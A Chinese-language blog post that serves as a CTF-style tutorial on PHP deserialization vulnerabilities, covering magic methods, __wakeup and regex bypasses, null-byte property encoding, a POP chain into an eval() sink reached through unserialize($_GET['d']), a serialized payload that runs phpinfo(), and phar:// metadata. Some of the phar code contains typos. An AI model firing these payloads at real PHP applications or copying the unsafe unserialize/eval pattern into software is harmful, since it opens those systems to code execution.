php反序列化漏洞

想要了解php反序列化漏洞首先要清楚php的魔法方法

php魔法方法
__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:反序列化恢复对象之前调用该方法
__call:当调用对象中不存在的方法会自动调用该方法。
__get:在调用私有属性的时候会自动执行
__isset()在不可访问的属性上调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发

 


 

php反序列绕过:


1、当Object对象的长度超出长度时,php低版本的反序列化并不会执行__wakeup漏洞;
因为超出,所以永远不会执行__wakeup,由此,可以绕过

2、若后面还出现正则表达式(较为严格的)对O:1这个格式进行过滤,可以使用
O:1:"A":2:{s:7:"%00A%00file";s:8:"flag.php"}
O:+1:"A":2:{s:7:"%00A%00file";s:8:"flag.php"}//此处+号需要使用ascii码的加号,因为+号在url中代表空格

 



反序列化各类类型的变化:

protected $op;
"%00*%00op"

private $op;
"%00A%00op"

 

关于反序列化对象的绕过


①PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:12:"Hello World!";}



②private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。
同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:11:"helloworld";}

 


 


生成序列化代码格式如下:

<?php
class Flag{  //flag.php  
    public $file="flag.php";  
}
$a = new flag();
echo urlencode(serialize($a));//防止不可见字符无法传参

 



POP链构造


一个lemon类,调用调用另一个normal类,使用了一个action方法,而这个action方法,eval类也有

 

<?php
class lemon {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new normal();
    }

    function __destruct() {
        $this->ClassObj->action();
    }
}

class normal {
    function action() {
        echo "hello";
    }
}

class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}

unserialize($_GET['d']);

 



调用方法如下:

 

<?php
class lemon {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}
class evil {
    private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));
echo "\n\r";

 

 

 

 


此处 protect $ClassObject = new evil() 是不行的,需要通过__construct来实例化


poc如下:

O:5:"lemon":1:{s:11:"\00*\00ClassObj";O:4:"evil":1:{s:10:"\00evil\00data";s:10:"phpinfo();";}}

 

 



phar://协议

 

<?php
class B{
    public fuction__destruct()
    {
        echo $this -> name;        
    }    
}

$phar = new Phar("test.phar");  //实例化一个phar类,并输出该文件
$phar -> startBuffering();    //开启缓存
$phar -> setStub("/*可以加任何东西*/<?php __HALT_COMPILER(); ?>/*此处不行*/")
 //phar文件的标志类(一个php代码)<?php __HALT_COMPILER(); ?>

$o = new B();
$o -> name = 'Paohhee';

$phar -> setMetadata($o); //设置媒体
$phar -> addFromString("test.txt","test");   //写入数据 ,此处不需要使用
$phar ->stopBuffering();

 
往媒体数据中写入一个 对象,该对象会以序列化的方法保存下来,在提取时会成反序列化




posted @ 2021-11-23 17:21  p40h33  阅读(208)  评论(0)    收藏  举报